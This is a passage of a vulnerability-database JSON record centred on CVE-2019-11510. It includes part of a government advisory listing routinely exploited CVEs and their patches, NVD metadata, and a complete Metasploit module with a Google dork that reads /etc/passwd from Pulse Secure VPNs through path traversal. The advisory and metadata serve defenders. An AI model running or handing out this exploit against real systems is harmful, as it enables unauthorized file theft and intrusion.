3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nMicrosoft \n\n| \n\nMicrosoft Exchange Server 2013 Cumulative Update 23\n\nMicrosoft Exchange Server 2016 Cumulative Updates 19 and 20\n\nMicrosoft Exchange Server 2019 Cumulative Updates 8 and 9\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Elevation of Privilege Vulnerability, CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>)\n\n| \n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nACSC Alert [Microsoft Exchange ProxyShell Targeting in Australia](<https://www.cyber.gov.au/acsc/view-all-content/alerts/microsoft-exchange-proxyshell-targeting-australia>) \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>) \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see [Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>)\n\n| \n\n[Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nSudo before 1.9.5p2\n\n| \n\n[Sudo Stable Release 1.9.5p2](<https://www.sudo.ws/releases/stable/#1.9.5p2>)\n\n| \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nCheckbox Survey versions prior to 7\n\n| \n\n| \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nMultiple versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\nCISA Alert: [Mitigate Microsoft Exchange Server Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-062a>)\n\nACSC Advisory [Active exploitation of Vulnerable Microsoft Exchange servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-002-active-exploitation-vulnerable-microsoft-exchange-servers>)\n\nCCCS Alert [Active Exploitation of Microsoft Exchange Vulnerabilities - Update 4](<https://www.cyber.gc.ca/en/alerts/active-exploitation-microsoft-exchange-vulnerabilities>) \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>) \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>) \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>) \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\nJira Atlassian \n\n| \n\nConfluence Server and Data Center, versions 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\n| \n\n[Jira Atlassian: Confluence Server Webwork OGNL injection - CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in certain versions of Atlassian Confluence](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-certain-versions-atlassian-confluence>)\n\nCCCS [Atlassian Security Advisory](<https://www.cyber.gc.ca/en/alerts/atlassian-security-advisory>) \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure \n\n| \n\nPCS 9.0R3/9.1R1 and Higher\n\n| \n\n[Pulse Secure SA44784 - 2021-04: Out-of-Cycle Advisory: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>)\n\n| \n\nCCCS Alert [Active Exploitation of Pulse Connect Secure Vulnerabilities - Update 1](<https://www.cyber.gc.ca/en/alerts/active-exploitation-pulse-connect-secure-vulnerabilities>) \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall \n\n| \n\nSMA 100 devices (SMA 200, SMA 210, SMA 400, SMA 410, SMA 500v)\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0001](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001>)\n\n| \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nMicrosoft\n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP \n\n| \n\nQTS, multiple versions; see [QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\nQuTS hero h4.5.1.1491 build 20201119 and later\n\n| \n\n[QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\n| \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nMicrosoft \n\n| \n\nWindows Server, multiple versions; see [Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\n[Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\nACSC Alert [Netlogon elevation of privilege vulnerability (CVE-2020-1472)](<https://www.cyber.gov.au/acsc/view-all-content/alerts/netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS Alert [Microsoft Netlogon Elevation of Privilege Vulnerability - CVE-2020-1472 - Update 1](<https://www.cyber.gc.ca/en/alerts/microsoft-netlogon-elevation-privilege-vulnerability-cve-2020-1472>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nCCCS Alert [Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://www.cyber.gc.ca/en/alerts/microsoft-exchange-validation-key-remote-code-execution-vulnerability>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix \n\n| \n\nADC and Gateway version 13.0 all supported builds before 13.0.47.24\n\nNetScaler ADC and NetScaler Gateway, version 12.1 all supported builds before 12.1.55.18; version 12.0 all supported builds before 12.0.63.13; version 11.1 all supported builds before 11.1.63.15; version 10.5 all supported builds before 10.5.70.12\n\nSD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b\n\n| \n\n[Citrix Security Bulletin CTX267027](<https://support.citrix.com/article/CTX267027>)\n\n| \n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nCCCS Alert [Detecting Compromises relating to Citrix CVE-2019-19781](<https://www.cyber.gc.ca/en/alerts/detecting-compromises-relating-citrix-cve-2019-19781-0>) \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik \n\n| \n\nUI for ASP.NET AJAX through 2019.3.1023\n\n| \n\n[Telerik UI for ASP.NET AJAX Allows JavaScriptSerializer Deserialization](<https://docs.telerik.com/devtools/aspnet-ajax/knowledge-base/common-allows-javascriptserializer-deserialization>)\n\n| \n\nACSC Alert [Active exploitation of vulnerability in Microsoft Internet Information Services](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerability-microsoft-internet-information-services>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\nPulse Secure \n\n| \n\nPulse Connect Secure 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\n\n| \n\n[Pulse Secure: SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n| \n\nCISA Alert [Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa20-010a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nACSC Advisory [Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2019-129-recommendations-mitigate-vulnerability-pulse-connect-secure-vpn-software>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS [Alert APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\nFortinet\n\n| \n\nFortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6\n\n| \n\n[Fortinet FortiGuard Labs: FG-IR-20-233](<https://www.fortiguard.com/psirt/FG-IR-20-233>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nACSC Alert [APT exploitation of Fortinet Vulnerabilities](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)\n\nCCCS Alert [Exploitation of Fortinet FortiOS vulnerabilities (CISA, FBI) - Update 1](<https://www.cyber.gc.ca/en/alerts/exploitation-fortinet-fortios-vulnerabilities-cisa-fbi>) \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco \n\n| \n\nSee [Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\n[Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\nCCCS [Action Required to Secure the Cisco IOS and IOS XE Smart Install Feature](<https://www.cyber.gc.ca/en/alerts/action-required-secure-cisco-ios-and-ios-xe-smart-install-feature>) \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft \n\n| \n\nOffice, multiple versions; see [Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\nCCCS Alert [Microsoft Office Security Update](<https://www.cyber.gc.ca/en/alerts/microsoft-office-security-update>) \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple products; see [Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\nCCCS [Microsoft Security Updates](<https://www.cyber.gc.ca/en/alerts/microsoft-security-updates>) \n \n### Contact Information\n\n**U.S. organizations: **all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [report@cisa.gov ](<mailto:report@cisa.gov>)or (888) 282-0870 and/or to the FBI via your [local FBI field office](<https://www.fbi.gov/contact-us/field-offices>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). **Australian organizations:** visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. **Canadian organizations:** report incidents by emailing CCCS at [contact@cyber.gc.ca](<mailto:contact@cyber.gc.ca>). **New Zealand organizations:** report cyber security incidents to [incidents@ncsc.govt.nz](<mailto:incidents@ncsc.govt.nz>) or call 04 498 7654. **United Kingdom organizations:** report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://www.ncsc.gov.uk/section/about-this-website/contact-us>) (monitored 24 hours) or, for urgent assistance, call 03000 200 973.\n\n### Revisions\n\nApril 27, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T12:00:00", "type": "ics", "title": "2021 Top Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2017-11882", "CVE-2018-0171", "CVE-2018-13379", "CVE-2019-11510", "CVE-2019-18935", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-2509", "CVE-2021-1675", "CVE-2021-20016", "CVE-2021-20038", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-27852", "CVE-2021-31207", "CVE-2021-3156", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35464", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-42237", "CVE-2021-44228"], "modified": "2022-04-28T12:00:00", "id": "AA22-117A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "dsquare": [{"lastseen": "2021-07-28T14:33:45", "description": "File disclosure vulnerability in Pulse Connect Secure SSL VPN\n\nVulnerability Type: File Disclosure", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-08-27T00:00:00", "type": "dsquare", "title": "Pulse Connect Secure File Disclosure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-27T00:00:00", "id": "E-688", "href": "", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2019-08-22T05:38:44", "description": "", "cvss3": {}, "published": "2019-08-21T00:00:00", "type": "packetstorm", "title": "Pulse Secure SSL VPN 8.1R15.1 / 8.2 / 8.3 / 9.0 Arbitrary File Disclosure", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "PACKETSTORM:154176", "href": "https://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html", "sourceData": "`# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit) \n# Google Dork: inurl:/dana-na/ filetype:cgi \n# Date: 8/20/2019 \n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera \n# Vendor Homepage: https://pulsesecure.net \n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n# Tested on: Linux \n# CVE : CVE-2019-11510 \nrequire 'msf/core' \nclass MetasploitModule < Msf::Auxiliary \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Post::File \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Pulse Secure - System file leak', \n'Description' => %q{ \nPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests. \nThis exploit reads /etc/passwd as a proof of concept \nThis vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 \n}, \n'References' => \n[ \n[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ] \n], \n'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ], \n'License' => MSF_LICENSE, \n'DefaultOptions' => \n{ \n'RPORT' => 443, \n'SSL' => true \n}, \n)) \n \nend \n \n \ndef run() \nprint_good(\"Checking target...\") \nres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342) \n \nif res && res.code == 200 \nprint_good(\"Target is Vulnerable!\") \ndata = res.body \ncurrent_host = datastore['RHOST'] \nfilename = \"msf_sslwebsession_\"+current_host+\".bin\" \nFile.delete(filename) if File.exist?(filename) \nfile_local_write(filename, data) \nprint_good(\"Parsing file.......\") \nparse() \nelse \nif(res && res.code == 404) \nprint_error(\"Target not Vulnerable\") \nelse \nprint_error(\"Ooof, try again...\") \nend \nend \nend \ndef parse() \ncurrent_host = datastore['RHOST'] \n \nfileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\") \nwords = 0 \nwhile (line = fileObj.gets) \nprintable_data = line.gsub(/[^[:print:]]/, '.') \narray_data = printable_data.scan(/.{1,60}/m) \nfor ar in array_data \nif ar != \"............................................................\" \nprint_good(ar) \nend \nend \n#print_good(printable_data) \n \nend \nfileObj.close \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/154176/pulsesecure-disclose.rb.txt"}], "cve": [{"lastseen": "2023-03-24T18:15:52", "description": "In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-08T17:29:00", "type": "cve", "title": "CVE-2019-11510", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2023-03-24T17:36:00", "cpe": ["cpe:/a:pulsesecure:pulse_connect_secure:8.3", "cpe:/a:pulsesecure:pulse_connect_secure:9.0", "cpe:/a:pulsesecure:pulse_connect_secure:8.2"], "id": "CVE-2019-11510", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-11510", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r5:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r2:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r1.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r7:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r3.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r3:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r10.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r2.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r5.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r5.2:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r4:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r3.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r5.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r7.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r6.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r5.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r2.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r6.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r8.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r3:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r2:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r12.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r11.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r3.3:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r3.2:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r8.2:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r3.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r1.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r4.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r4.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r6:*:*:*:*:*:*", 